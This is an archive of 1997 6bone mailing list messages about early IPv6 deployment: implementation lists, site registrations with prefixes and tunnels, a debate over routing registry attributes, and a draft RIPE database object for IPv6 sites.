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Date: Wed, 19 Mar 1997 13:37:50 -0500
From: Lawrence MacIntyre <lpz@nautique.epm.ornl.gov>
Organization: Oak Ridge National Laboratory
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: Hsin Fang <fang@snad.ncsl.nist.gov>, 6bone@ISI.EDU, robbie@mindspring.com
Subject: Re: list of IPv6 applications?
References: <v0300780aaf55cc975716@[128.3.9.22]>
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Bob Fink LBNL wrote:
> 
> Hsin,
> 
> Thanks for the list.  Robbie Honerkamp is putting together a first draft
> web page to handle this info and it will be great to have a start with some
> real data.
> 
> We will post it to the mailer as soon as we are ready, then everyone can
> comment and add to it.
> 
> Thanks,
> 
> >
> >     DEC   : (binary code only)
> >       Platform : DEC hub ONE router
> >        Major Functions:
> >          ICMPV6
> >          Neighbor Discovery
> >          IPv6 packets  forwarding
> >          IPv6/v4 static and automatic tunnels
> >         IPv6 router advertisement
> >          RIPv6
> >          PPP for IPv6
> >          Support IPv4 tunnel discovery between RIPv6
> >          IPv6 address manual/auto configuration
> >          IPv6 ping
> >          traceroute
> >          IPv6 Dump routes
> >

DEC also has code for the Alpha running Digital Unix.  The list of
features is on the web page:

http://www.digital.com/info/ipv6/host-implementation-18FEB97.html

-- 

                                 Lawrence
                                    ~
------------------------------------------------------------------------
Lawrence MacIntyre       Oak Ridge National Laboratory      423.574.8696 
lpz@ornl.gov   http://www.epm.ornl.gov/~lpz    lpz@nautique.epm.ornl.gov

From majordom@ISI.EDU  Wed Mar 19 08:44:37 1997
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From: robbie@tomservo.mindspring.com
Subject: Rough draft: IPv6 applications list
To: 6bone@ISI.EDU
Date: Wed, 19 Mar 1997 13:44:37 -0500 (EST)
Reply-To: robbie@mindspring.com
X-Patmac: Where's the power switch on this thing??
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I've started outlining a site that would contain a list
of IPv6 applications. I'm looking for suggestions and
comments for how the site might be laid out. I've got
an outline at:

http://web.shorty.com/ipv6/apps/

Please give it a look, and let me know (robbie@mindspring.com)
if you have any comments.

Thanks!

Robbie

-- 
Robbie Honerkamp  
robbie@mindspring.com 

From majordom@ISI.EDU  Wed Mar 19 02:52:34 1997
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To: 6bone@ISI.EDU
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Subject: Re: list of IPv6 applications? 
In-Reply-To: Your message of Wed, 19 Mar 97 09:56:30 -0800.
             <v03007810af55d9374f18@[128.3.9.22]> 
Date: Wed, 19 Mar 97 10:52:34 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> At 9:48 AM -0800 3/19/97, bmanning@ISI.EDU wrote:
> >I think that there is a notable exception to this list..  I understand that
> >cisco has working binary code for their routing platforms.
> 
> You sure are right...many of us run it!

Digital has host software, as well. Hsin Fang did qualify his remark
by saying that he was listing, "various implementations used in [their]
testbed."

Stephen

From majordom@ISI.EDU  Wed Mar 19 09:30:06 1997
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From: dlee@visc.vt.edu (David Lee)
Message-Id: <199703191930.OAA10898@ocarina.visc.vt.edu>
Subject: Re: 6bone Routing Registry
To: guyd@uunet.pipex.com (Guy Davies)
Date: Wed, 19 Mar 1997 14:30:06 -0500 (EST)
Cc: 6bone@isi.edu
In-Reply-To: <Pine.GSO.3.95q.970318234316.1293A-100000@swannee.uunet.pipex.com> from "Guy Davies" at Mar 19, 97 00:22:18 am
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> Err, Looking at your proposal, I don't understand how this gives any
> information about a native IPv6 subnet.  It seems to be more appropriate
> for a host/router rather than a subnet.  This may be a useful attribute in
> it's own right but I'm not sure it does what you said you wanted.  Surely,
> something along the following lines would prove more useful... 

Right now I almost pretty much don't care as long as there's something 
workable.  I got this damned qualifing exam looming overhead... :)
 
> native: [prefix] [rtr-id] [sn-name] [net-type] [rp-type] [status] {type}
> 
> ...where...
> 
> [prefix]	is the routed IPv6 subnet (which may be covered in the 
> 		global routing tables by a larger announcement)
> [rtr-id]	is the id (ipv6|ipv4|hostname?) of the inbound i/f of 
> 		the router via which this subnet can be reached.  I think
> 		given that this is native IPv6, my choice would be the
> 		IPv6 address of the i/f.

The question is that in order to diagnose problems, is the IPv6 address
sufficient (at this stage in the game)?  On another note, I would guess
that most routed subnets would also have also have a tunnel connection.
Mapping the native object to the tunnel object/end-point would be easier if
we used the IPv4 address.  

My line of thought was to map the IPv6 network ontop of the IPv4 network.
Thus, the IPv4 source/destination network ID's (I was originally trying
to figure out how to specify the subnet without supplying a subnet mask...
perhaps something like 128.173.88.118/58 would be better).  True, an IPv6 
routed subnet doesn't (shouldn't? :) imply a one-to-one mapping to an 
IPv4 network, but 1) I find that easier to keep track of if we look at 
things in terms of the IPv4 network and 2) I would also expect that all 
networks (for the forseeable future) would be dual IPv4/IPv6 networks.  

One could modify the ping line to provide a mapping between IPv4 and IPv6
addresses --

ping:  128.173.88.118  5f05:2000:80ad:5800::1

If the machine only has a IPv6 address, then that's the only thing that
shows up.  And add the requirement that all router nodes on the record must 
have a ping entry (of the above format), that would solve both problems.  Given
that, it would seem that we have a workable solution.

> [sn-name] 	is the subnet name formed as described below by David
> [net-type] 	is the underlying network type (eth|ppp|tr|atm|....)

Good idea -- this would be useful to know.

> [rp-type]	is the routing protocol (ripng|idrpv6|static|....)
> [status] 	is the link status as described by David
> {type} 		is the link type as described by David.  On multicast 
> 		type media, this may need to be extensible to cover 
> 		several 'peering' types (e.g. you may run IPv6 across
> 		an ethernet on which you have peerings to transit
> 		sites, leaf nodes, to upstream nodes and to downstream
> 		nodes - I'm thinking of something like a NAP here)
>
> > I was also thinking of including the routed subnet's IPv6 prefix but I think
> > that's unnecessary information.  The going assumption is that the routed
> > subnet's prefix is some portion of the destination site's prefix.  
> 
> This is most likely true but (in the case of an organisation with multiple
> ASes) is not guaranteed.  There is, as stated above, some useful info in
> the prefix.

One could envision that multiple ASes mean that they would have multiple
ip6rr entries.  In which the site name rule still would work.  On another 
thought, I would assume that each on-link prefix then receives its 
own entry.  

DCL

-- 
David C. Lee, EE PhD student - http://www.visc.vt.edu/~dlee - dlee@vt.edu
PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111

From majordom@ISI.EDU  Wed Mar 19 13:13:50 1997
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 Mar 19, 97 09:05:28 am
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From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: Re: list of IPv6 applications?
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At 12:48 PM -0500 3/19/97, bmanning@ISI.EDU wrote:
>I think that there is a notable exception to this list..  I understand that
>cisco has working binary code for their routing platforms.
>
>
>--
>--bill

I've been in touch with the Cisco contact for IPv6 IOS.  It's currently
only available on a highly limited basis - I was asked to wait until formal
betas were released.  :(


Jimmy

---------------
Jimmy Kyriannis
Assistant Network Manager, New York University Academic Computing Facility
Phone: 212-998-3431
FAX: 212-995-4120
Internet Mail: jimmy.kyriannis@nyu.edu



From majordom@ISI.EDU  Wed Mar 19 13:46:23 1997
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From: Frank T Solensky <solensky@ftp.com>
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Date: Wed, 19 Mar 1997 18:46:23 -0500
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>>Reply to your message of 3/18/97 9:21 AM
>Any idea if FTP's software supports IPv6 in anything except the stack?
>All the bundled applications (browser, e-mail, etc) do not support IPv6
>as far as I know. Is this true?

TNVTPlus (telnet), FTP client and server, and ping currently work over
IPv6; IPtrace parses some but not all IPv6 headers and a statistics
program displays the IPv6 addresses assigned to an interface.
We should have most of our other apps IPv6-capable very soon.
							-- Frank


From majordom@ISI.EDU  Thu Mar 20 13:24:36 1997
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Date: Thu, 20 Mar 1997 13:24:36 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: David Lee <dlee@visc.vt.edu>
Cc: 6bone@isi.edu
Subject: Re: 6bone Routing Registry
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On Wed, 19 Mar 1997, David Lee wrote:

[snip]

> The question is that in order to diagnose problems, is the IPv6 address
> sufficient (at this stage in the game)?  On another note, I would guess
> that most routed subnets would also have also have a tunnel connection.
> Mapping the native object to the tunnel object/end-point would be easier if
> we used the IPv4 address.  

Hmm, we're starting to get to the point where it's not more attributes we
need but more objects.  I can see a good justification for an inetnum6
object (which would probably be almost directly copied from the inetnum
object), an ipv6-site object (which is basically the current site object
in ip6rr), an ipv6-host or ipv6-rtr object which can give details of
mappings between ipv6 and ipv4 on a single interface _and_ and ipv6-subnet
(equivalent to my native proposal).  There's far too much useful info to
realistically fit onto a single attribute line.

Somebody tell me if you all think I'm running ahead of myself!

> My line of thought was to map the IPv6 network ontop of the IPv4 network.
> Thus, the IPv4 source/destination network ID's (I was originally trying
> to figure out how to specify the subnet without supplying a subnet mask...
> perhaps something like 128.173.88.118/58 would be better).  True, an IPv6 
> routed subnet doesn't (shouldn't? :) imply a one-to-one mapping to an 
> IPv4 network, but 1) I find that easier to keep track of if we look at 
> things in terms of the IPv4 network and 2) I would also expect that all 
> networks (for the forseeable future) would be dual IPv4/IPv6 networks.  

Sure, it's likely that most will be ipv4/ipv6 capable, but we need to take
into account the possibility of single protocol networks reachable only
via tunnels.  I'd far rather think about the most flexible way to record
these details now than in a years time when people are used to the other
system. 

> One could modify the ping line to provide a mapping between IPv4 and IPv6
> addresses --
> 
> ping:  128.173.88.118  5f05:2000:80ad:5800::1

This could form part of an ipv6-host object.  Obviously, these are
host/interface addresses which have no direct association with a
particular net.

> If the machine only has a IPv6 address, then that's the only thing that
> shows up.  And add the requirement that all router nodes on the record must 
> have a ping entry (of the above format), that would solve both problems.  Given
> that, it would seem that we have a workable solution.
> 
> > [sn-name] 	is the subnet name formed as described below by David
> > [net-type] 	is the underlying network type (eth|ppp|tr|atm|....)
> 
> Good idea -- this would be useful to know.

Heh! We agree on something ;-)

[snip]

> > > I was also thinking of including the routed subnet's IPv6 prefix but I think
> > > that's unnecessary information.  The going assumption is that the routed
> > > subnet's prefix is some portion of the destination site's prefix.  
> > 
> > This is most likely true but (in the case of an organisation with multiple
> > ASes) is not guaranteed.  There is, as stated above, some useful info in
> > the prefix.
> 
> One could envision that multiple ASes mean that they would have multiple
> ip6rr entries.  In which the site name rule still would work.  

Hmm, possibly but I know that several ISPs (particularly in the US) have
_lots_ of ASes.  Would they want to represent themselves as a single
entity or lots of different ones?

> On another 
> thought, I would assume that each on-link prefix then receives its 
> own entry.

Well, either that or prefix becomes mandatory/multiple.

> 
> DCL
> 
> -- 
> David C. Lee, EE PhD student - http://www.visc.vt.edu/~dlee - dlee@vt.edu
> PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
> Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111
> 


From majordom@ISI.EDU  Fri Mar 21 08:37:10 1997
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Subject: RIPE-NCC registration
From: chong@mail52.mitretek.org (Chongeun Lee)
To: 6bone@isi.edu (6bone@isi.edu)
Message-Id: <970321133710.28651@mail52.mitretek.org.0>
Date: Fri, 21 Mar 97 13:37:10 -0500
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Hi,

I would like to register to RIPE for my company and need group id and
password.
Can anyone tell me what they are?

Thanks,

Chongeun


From majordom@ISI.EDU  Fri Mar 21 05:39:34 1997
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To: chong@mail52.mitretek.org (Chongeun Lee), 6bone@isi.edu (6bone@isi.edu)
From: Bob Fink LBNL <RLFink@lbl.gov>
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At 10:37 AM -0800 3/21/97, Chongeun Lee wrote:
>Hi,
>
>I would like to register to RIPE for my company and need group id and
>password.
>Can anyone tell me what they are?

quote site group ip6rr
quote site gpass 6bone





From majordom@ISI.EDU  Sat Mar 22 19:27:00 1997
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Date: Sat, 22 Mar 1997 10:27:00 +0900
To: 6bone@isi.edu
From: IPv6 Project DCN <ipv6@dcn.soongsil.ac.kr>
Subject: New IPv6 site : SSU from Soongsil Univ., Korea
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Hello. This is Data Communication & Network(DCN) Lab., Soongsil Univ., Seoul,
the Republic of Korea.

We have developed the IPv6 system on the FreeBSD 2.1 OS and our developed
IPv6 system is operational. And we brought up the tunnel to Cisco/US, then
registered with
RIPE-NCC. Here is the RIPE-NCC data:

site:		SSU(DCN, SoongSil University, Seoul, Korea)
location:	Seoul, The Republic of Korea
prefix:		5f0d:e700:cbfd:0300/64
ping:		5f0d:e700:cbfd:0300::20:afa5:d5bf
tunnel:		203.253.3.204 192.31.7.41 CISCO/US
contact:		Younghan Kim <ipv6@dcn.soongsil.ac.kr>
status:		operational
changed:	ipv6@dcn.soongsil.ac.kr 970201
source:		RIPE

Please let me know if you see any problems with the our site.

Thanks to ISI, and Cisco for their help in getting things set up.

 - IPv6 Project in DCN




From majordom@ISI.EDU  Mon Mar 24 12:20:18 1997
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Date: Mon, 24 Mar 1997 11:20:18 +0100 (MET)
From: Thomas Seidmann <seidmann@dcs.elf.stuba.sk>
To: 6bone@isi.edu
Subject: RIPng over tunnels?
Message-Id: <Pine.LNX.3.96.970324111702.1909E-100000@interlaken.dcs.elf.stuba.sk>
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Hi,

I apologize in advance if this question sounds silly: which of the
current IPv6 protocol implementations include RIPng over tunnels? I mean
in source code, of course. TIA.

Thomas


From majordom@ISI.EDU  Mon Mar 24 00:23:07 1997
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To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram, version 59
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new 6bone diagram, version 59

	moved NETGOD/US to WWU/US for transit

	add IXA/US and SSU/KR to CISCO/US as leaves


Thanks,

Bob



From majordom@ISI.EDU  Mon Mar 24 19:18:27 1997
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From: dlee@visc.vt.edu (David Lee)
Message-Id: <199703250518.AAA01489@ocarina.visc.vt.edu>
Subject: Re: 6bone Routing Registry
To: 6bone@isi.edu
Date: Tue, 25 Mar 1997 00:18:27 -0500 (EST)
In-Reply-To: <Pine.GSO.3.95q.970320125755.945L-100000@swannee.uunet.pipex.com> from "Guy Davies" at Mar 20, 97 01:24:36 pm
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> Hmm, we're starting to get to the point where it's not more attributes we
> need but more objects.  I can see a good justification for an inetnum6
> object (which would probably be almost directly copied from the inetnum
> object), an ipv6-site object (which is basically the current site object
> in ip6rr), an ipv6-host or ipv6-rtr object which can give details of
> mappings between ipv6 and ipv4 on a single interface _and_ and ipv6-subnet
> (equivalent to my native proposal).  There's far too much useful info to
> realistically fit onto a single attribute line.
> 
> Somebody tell me if you all think I'm running ahead of myself!

To some extent, these items could be and/or are handled by DNS... no
need to build a new system.  The question, IMHO, is what useful information
should be contained in the ip6rr for initial testing, deployment, and 
marketing phase (e.g., now).  For the future, Bill (Manning's) comment
on rolling this into DNS makes sense...

> Sure, it's likely that most will be ipv4/ipv6 capable, but we need to take
> into account the possibility of single protocol networks reachable only
> via tunnels.  I'd far rather think about the most flexible way to record
> these details now than in a years time when people are used to the other
> system. 

Again, I guess we're differing on how long we expect this to be used.  To
some extend, the long-range approach may be better (since there are people
in this world who still use DOS V1.0 ... :)  However, when we go to real
IPv6 addresses, I would suspect that the routing databases will be redone
with what we know to be true at that point.  Or, if it doesn't work, we'll
change it in the future ;)

-- 
David C. Lee, EE PhD student - http://www.visc.vt.edu/~dlee - dlee@vt.edu
PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111

From majordom@ISI.EDU  Tue Mar 25 11:09:21 1997
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From: Guy Davies <guyd@uunet.pipex.com>
To: David Lee <dlee@visc.vt.edu>
Cc: 6bone@isi.edu
Subject: Re: 6bone Routing Registry
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On Tue, 25 Mar 1997, David Lee wrote:

> > Hmm, we're starting to get to the point where it's not more attributes we
> > need but more objects.  I can see a good justification for an inetnum6
> > object (which would probably be almost directly copied from the inetnum
> > object), an ipv6-site object (which is basically the current site object
> > in ip6rr), an ipv6-host or ipv6-rtr object which can give details of
> > mappings between ipv6 and ipv4 on a single interface _and_ and ipv6-subnet
> > (equivalent to my native proposal).  There's far too much useful info to
> > realistically fit onto a single attribute line.
> > 
> > Somebody tell me if you all think I'm running ahead of myself!
> 
> To some extent, these items could be and/or are handled by DNS... no
> need to build a new system.  The question, IMHO, is what useful information
> should be contained in the ip6rr for initial testing, deployment, and 
> marketing phase (e.g., now).  For the future, Bill (Manning's) comment
> on rolling this into DNS makes sense...

Hi David,

OK, to simplify all my ideas, the information I'd like to see (whatever
the source) is...

IPv6 Site (we know the details available here)
IPv6 native net
	- IPv6 prefix in use on this net
	- IPv6 router via which the net can be reached
	- Codified subnet name
	- Network type (eth|atm|tr|fr|ppp|....)
	- Routing Protocols running on this subnet (ripng|static|idrpv6|....)
	- Operational Status (operational|experimental)
	- Peer relationships on this net (see David's previous emails)
IPv6 router
	- Router name
	- Each IPv6 interface (shows which nets are connected by this rtr)
	- Each IPv4 interface (shows how IPv6 overlays IPv4)

This kind of detail would allow me to decide which route I would expect to
take and which routers I would expect to traverse in order to reach
another site.  If my traceroute failed, I would be able to see where
either unexpected routing was happening or the packets stopped.

That's what I need to know when doing problem solving on a network at the
level we'll be able to do ourselves before contacting the site in question
for assistance.

I don't intend that this information should be used as a means by which to
apportion blame when things break, more that it would allow me to more
accurately direct my requests for help when I need it rather than using
the current scattergun approach ;-)  Clearly, the provision of this info,
like the involvement in 6bone itself, is optional.  Some of the details
can be discovered from the dns and the current ip6rr but there are
certainly details which cannot easily be obtained from either.

> > Sure, it's likely that most will be ipv4/ipv6 capable, but we need to take
> > into account the possibility of single protocol networks reachable only
> > via tunnels.  I'd far rather think about the most flexible way to record
> > these details now than in a years time when people are used to the other
> > system. 
> 
> Again, I guess we're differing on how long we expect this to be used.  To
> some extend, the long-range approach may be better (since there are people
> in this world who still use DOS V1.0 ... :)  However, when we go to real
> IPv6 addresses, I would suspect that the routing databases will be redone
> with what we know to be true at that point.  Or, if it doesn't work, we'll
> change it in the future ;)

Agreed, and this would be the realm of the various working groups at RIPE
and the other Regional IP Registries to decide.

Regards,

Guy

> 
> -- 
> David C. Lee, EE PhD student - http://www.visc.vt.edu/~dlee - dlee@vt.edu
> PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
> Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111
> 



From majordom@ISI.EDU  Tue Mar 25 16:10:58 1997
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From: yoda@heidelbg.ibm.com (Helmut Cossmann)
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Subject: new site
To: 6bone@ISI.EDU
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site:           IBM ENC
location:       Heidelberg, Germany 
loc-string:     49 24n 8 24e 120m
prefix:         5f04:fb00:e065:c500::/80
ping:           5f04:fb00:e065:c500:0:800:5a8
tunnel:         192.101.197.242 129.13.169.3 DIGITAL-EARC
contact:        <cossmann@heidelbg.ibm.com>
status:         operational
remark:         since March 21, 1997
remark:         AIX 4.2 IPv6
remark:         please report any problems to contact above.
changed:        Helmut Cossmann <cossmann@heidelbg.ibm.com>
source:         RIPE


From majordom@ISI.EDU  Tue Mar 25 02:50:02 1997
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Subject: Re: 6bone Routing Registry
To: dlee@visc.vt.edu (David Lee)
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In-Reply-To: <199703250518.AAA01489@ocarina.visc.vt.edu> from "David Lee" at Mar 25, 97 00:18:27 am
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David,

David Lee writes:
> 
> To some extent, these items could be and/or are handled by DNS... no
> need to build a new system.  The question, IMHO, is what useful information
> should be contained in the ip6rr for initial testing, deployment, and 
> marketing phase (e.g., now).  For the future, Bill (Manning's) comment
> on rolling this into DNS makes sense...

We don't really need to build a new system in any case. We could use DNS
or we could use an existing registry database for this. Obviously, the
ftp solution is not entirely satisfactory. However, it was only intended
as a temporary solution to let the formats iron out in a natural way.

I kept quiet recently during this discussion since I found that it was
time to actually do something instead of discussing. Therefore, I have
been busy to implement my 6bone site object proposal into the RIPE
database instead of participating in this discussion. Stay tuned to this
list for an announcement when it's ready. At the same time I have adapted
my draft (included below) for Bill Mannings ideas on DNS so that the data
stored in both solutions is at least stored in a compatible way.

I personnally feel that the RIPE database model has some advantages over
DNS. A RIPE database based database will force more consistency in the
data and the search capabilities are more flexible. On the other hand,
the DNS implementation is perhaps a bit easier to implement, allows for
more rapid adaptation of new ideas and has better scalebility properties
(not that this is a problem now...). Just wait a bit and we can try both
systems.

> > Sure, it's likely that most will be ipv4/ipv6 capable, but we need to take
> > into account the possibility of single protocol networks reachable only
> > via tunnels.  I'd far rather think about the most flexible way to record
> > these details now than in a years time when people are used to the other
> > system. 
> 
> Again, I guess we're differing on how long we expect this to be used.  To
> some extend, the long-range approach may be better (since there are people
> in this world who still use DOS V1.0 ... :)  However, when we go to real
> IPv6 addresses, I would suspect that the routing databases will be redone
> with what we know to be true at that point.  Or, if it doesn't work, we'll
> change it in the future ;)

I would certainly prefer an approach that looks a bit farther in the
future since we all know that 'temporary' systems tend to stay a lot
longer then expected. That was one the reasons my draft was very carefull
about version numbers and extensibility.

My priorities are now in the following order:

- I will get the implementation as specified in the current draft working

- I am listening carefully for any new proposals for extensions such as
  discussed recently and will look for ways to accomodate them. However,
  I also feel that we shouldn't go to far with adding bells & whistles. I
  don't think it is a good idea to store all details of your *internal*
  network in a global database. Furthermore, it doesn't make sense to
  design a new 'routing policy' language. That is already being done in
  the 'rps' IETF working group and I don't see any reason why that
  language could not support IPv6 in the future since it is very
  extensible, knows about tunnels and doesn't make any assumptions about
  IP versions and routing protocols used. However, this language is not
  entirely specified yet and so is (my) implementation of RPSL.
  
David K.

PS Does anybody want me to publish this draft as an Internet draft?
---

Title:   A proposal for an IPv6 site database object

Date:    970325
Authors: Geert Jan de Groot
         David Kessens

Introduction

This proposal describes the proposed syntax of a new RIPE database object
that describes the several IPv6 sites in the world. The proposal has been
extended for experimental use inside DNS. The object will be used to
facilitate the introduction of IPv6 in the Internet. It is expected that
the object will be superceded later (when the IPv6 routing protocols and
the like are better standarized) by a new structure that is more
genericly designed and less IPv6 dependant (see RPS working group, the
RPSL language draft, RPS tunnel attribute extensions for the 'inet-rtr'
object draft by Dave Meyer if you are interested in the topic). The RIPE
database can get experimental support for this pretty quick after the
RIPE database working group gives approval for such an experimental
object. Syntax checking will initially be a bit sloppy to allow for easy
changes to the format in our rapidly changing environment and to cut
implementation time ;-).

The syntax is based on the experience with the 'ftp' object depository at
the RIPE NCC created by Geert Jan de Groot and discussions on the 6bone
mailing list. Any comments for changes and/or better wording are welcome.

Several attribute name changes are made to the existing 'ftp' object to
faciliate a better integration (and reuse of already existing attributes)
in the RIPE database scheme.

The now existing nearly-real time mirroring mechanism of the data allows
for a fast distribution mechanism to other (mirror) databases in a
topologically closer position to the database users. It is therefore
proposed that this object can only be updated at the RIPE NCC database
depository (for now). This avoids conflicting data in different databases
problems as we have now with the IPv4 route and AS number objects.

The proposed RIDE working group is currently defining an exchange format
for communication between different Internet registries. This will
facilitate other types of databases such as DNS that could be used
instead for storing this data.


Formal RIPE database template:

ipv6-site:      [mandatory] [single]
descr:          [mandatory] [multiple]
location:       [optional]  [multiple]
country:        [optional]  [multiple]
prefix:         [mandatory] [multiple]
application:    [optional]  [multiple]
tunnel:         [optional]  [multiple]
contact:        [mandatory] [multiple]
url:            [optional]  [multiple]
remarks:        [optional]  [multiple]
changed:        [mandatory] [multiple]
source:         [mandatory] [single]


The object could be stored in DNS TXT records using the following syntax:

TXT "[optional white space]<line number><white space>tag:[optional white
     space]<value>"


Description and purpose of the attributes:


- ipv6-site:   <SiteTag>

  SiteTag is a short unique tag for the IPv6 site to be used for lookups
  and referrals of the object.
  
  Syntax:
  
  /^[A-Z][A-Z\-]*[A-Z]$/
  
  Example:
  
  ipv6-site: ISI
  

- descr:  <SiteDescr>

  Multiple line attribute that describes the site. This attribute usually
  contains information about the location of the IPv6 site and a full
  name of the site.

  Syntax:
  
  /^.*$/
  
  Example:
  
  descr: ISI/USC,
  descr: Los Angeles 
  
  
- location: <LocatianString>

  LocationString contains the coordinates of the IPv6 sites location. 
  Multiple location strings can be provided on different lines for sites
  that have multiple locations in the area. One can use a domainname
  instead of LocationString if an RFC1876 LOC record is present in DNS.

  Note that this attribute is unnecessary for DNS based databases since
  DNS already has support for special location (LOC) records (see RFC1876).

  Syntax:
  
  Full syntax is described in RFC1876. A summary follows below:
  
  3. Master File Format

   The LOC record is expressed in a master file in the following format:

   <owner> <TTL> <class> LOC ( d1 [m1 [s1]] {"N"|"S"} d2 [m2 [s2]]
                               {"E"|"W"} alt["m"] [siz["m"] [hp["m"]
                               [vp["m"]]]] )

   (The parentheses are used for multi-line data as specified in [RFC
   1035] section 5.1.)

   where:

       d1:     [0 .. 90]            (degrees latitude)
       d2:     [0 .. 180]           (degrees longitude)
       m1, m2: [0 .. 59]            (minutes latitude/longitude)
       s1, s2: [0 .. 59.999]        (seconds latitude/longitude)
       alt:    [-100000.00 .. 42849672.95] BY .01 (altitude in meters)
       siz, hp, vp: [0 .. 90000000.00] (size/precision in meters)

   If omitted, minutes and seconds default to zero, size defaults to 1m,
   horizontal precision defaults to 10000m, and vertical precision
   defaults to 10m.  These defaults are chosen to represent typical
   ZIP/postal code area sizes, since it is often easy to find
   approximate geographical location by ZIP/postal code.

  4. Example Data

   ;;;
   ;;; note that these data would not all appear in one zone file
   ;;;

   ;; network LOC RR derived from ZIP data.  note use of precision defaults
   cambridge-net.kei.com.        LOC   42 21 54 N 71 06 18 W -24m 30m

   ;; higher-precision host LOC RR.  note use of vertical precision default
   loiosh.kei.com.               LOC   42 21 43.952 N 71 5 6.344 W
                                       -24m 1m 200m

   pipex.net.                    LOC   52 14 05 N 00 08 50 E 10m

   curtin.edu.au.                LOC   32 7 19 S 116 2 25 E 10m

   rwy04L.logan-airport.boston.  LOC   42 21 28.764 N 71 00 51.617 W
                                       -44m 2000m


- country: <ISO3166-country code> ...

  Specify here the country codes of the countries where your site is
  located.
  
  Example:
  
  country: US
  
  or
  
  country: DK SE
  
  
- prefix: <IPv6Prefix>

  IPv6Prefix is a prefix that is used within the the IPv6 site.
  
  Syntax:
  
  <ValidIPv6Address/0-128>
  
  Example:
  
  prefix:         5f0d:0500:c100::/64
  

- application: <service> <hostname> [port[/protocol]]

  This attribute describes the different services available on the site.
  The services are the same as described in the '/etc/services' plus 'ping'
  More services might be added later on. 
  
  Hostname is the DNS hostname of the host that provides the service and
  a port number and protocol type may be specified for services that
  don't run on the standard port.
  
  Syntax:
  
  /^\S+\s+[a-zA-Z\-]+(\.[a-zA-Z\-])*\s+\d+(\/udp|\/tcp))?$/
  
  Examples:
  
  application: ping pinghost.ISI.EDU
  application: ftp  ftp.ISI.EDU
  
  
- tunnel:  <Protocol1> in <Protocol2> <src> -> <dst> <IPv6-site>
                                                     <Protocol> [FreeText]

  This attribute defines a tunnel of Protocol1 in Protocol2 from address
  src to address dst. You only need to define your side of the tunnel.
  The other end should be present in the object of the other party's site
  object. Note that tunnels should in general be configured symmetrically
  along both end-points and only be present in the object if they are
  actually configured and working at both ends.
  
  Currently (only) the following type of tunnels are accepted:
    
  tunnel:  IPv6 in IPv4 <SrcDomainname> -> <DstDomainName> <IPv6-site>
                                                     <Protocol> [FreeText]
  
  It is expected that more possibilities will be added later.
  
  Currently defined protocols are: IDRPv6, BGP5, RIPv6, STATIC
  Syntax checking will not be done on this field to allow for newer and
  fast implementations of other protocols.
  
  Domainnames are used for greater flexibility. It makes it for example
  trivial to obtain the IPv6 or IPv4 address from DNS if needed.
    
  Example:
  
  tunnel: IPv6 in IPv4 tbc5000-18.tbit.dk -> unvea.denet.dk TELEBIT IDRPv6

  
- contact: <NIC-handle>

  This is the contact information of the site. Use a valid NIC handle
  that you received when creating an entry for your personal data in one
  of the registry databases (do 'whois -h whois.ripe.net HELP' for help
  on creating such an object).
  
  Example:
  
  contact: DK13-RIPE

  Note for DNS databases:
  
  References for DNS style databases can be defined as follows:

  - use a valid NIC-handle that points to an entry in a whois Internet
    registry database
    
  - use the following syntax:
  
    contact: YourName (DomainNameOfTextRecordWithYourContactObject)

  - the ipv6-site object has a personal data entry attached in DNS
    (separated by an empty record with a line number only) and the
    contact entry has the same value as the name of the person.
    
    person:      [mandatory]  [single]    
    address:     [mandatory]  [multiple]  
    phone:       [mandatory]  [multiple]  
    fax-no:      [optional]   [multiple]  
    e-mail:      [optional]   [multiple]  
    remarks:     [optional]   [multiple]  
    changed:     [mandatory]  [multiple]  


- url: <URL>

  Put here any useful URLs that are of interest for your site
  
  Example:
  
  url: <http://www.iol.unh.edu>
  
  
- remarks: <FreeText>

  Put here any information that might be interesting for the other people
  at the 6bone to know about or use it for site specific information.
  Also 'not yet accepted new functionality' to the objects can be put here
  (temporarely).
  
  Many people use this to report about the status of their site; is it in
  implementation phase, is it up and running or are there still techincal
  problems.
  
  Syntax:
  
  /^.*$/
  
  Example:
  
  remarks: operational since July 5, 1996
  remarks: happy to add new tunnels upon request.
  remarks: 6bone-router.cisco.com carries all ipv6 routes.
  
  
- changed: <E-mail> <Date>

  Use this attribute to show who was resposible for a change/addition of
  the object and the date on which it took effect. You may use more
  changed attribute to reflect the change history of the object.
  
  The date field has the following format: YYMMDD (in the RIPE database)
  Other databases that don't have a format defined yet are recommended to
  use an YYYYMMDD format. It is expected that the RIPE database will
  support this format in the future. Note that more changes attributes
  can be specified to show a history of changes.

  Example:
  
  changed: davidk@ISI.EDU 960923
  
    
- source: RIPE

  This field is always the same for now. It describes the place where the
  object can be updated and is stored.

  Example:
 
  source: RIPE

  Note that a 'source:' field is not relevant for non-RIPE databases.
  Whois query tools are recommended to use a 'source: DNS' to identify
  data that is extracted from DNS or another clear identifier for other
  databases.

  

From majordom@ISI.EDU  Tue Mar 25 08:35:22 1997
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References: <199703250518.AAA01489@ocarina.visc.vt.edu> from "David Lee"
 at Mar 25, 97 00:18:27 am
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Date: Tue, 25 Mar 1997 16:35:22 -0800
To: davidk@isi.edu
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone Routing Registry
Cc: 6bone@isi.edu
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David,

At 10:50 AM -0800 3/25/97, davidk@isi.edu wrote:
...
>PS Does anybody want me to publish this draft as an Internet draft?

I think it would be a good idea.  If you do this, please submit it through
me (and I will forward it on) as  we are a new WG and I need to deal with
making sure the ID editor gets the naming for it right from the start.

And don't forget to look at the current ID guidelines:

	ftp://ftp.ietf.org/ietf/1id-guidelines.txt


Thanks for the work!

Bob


>---
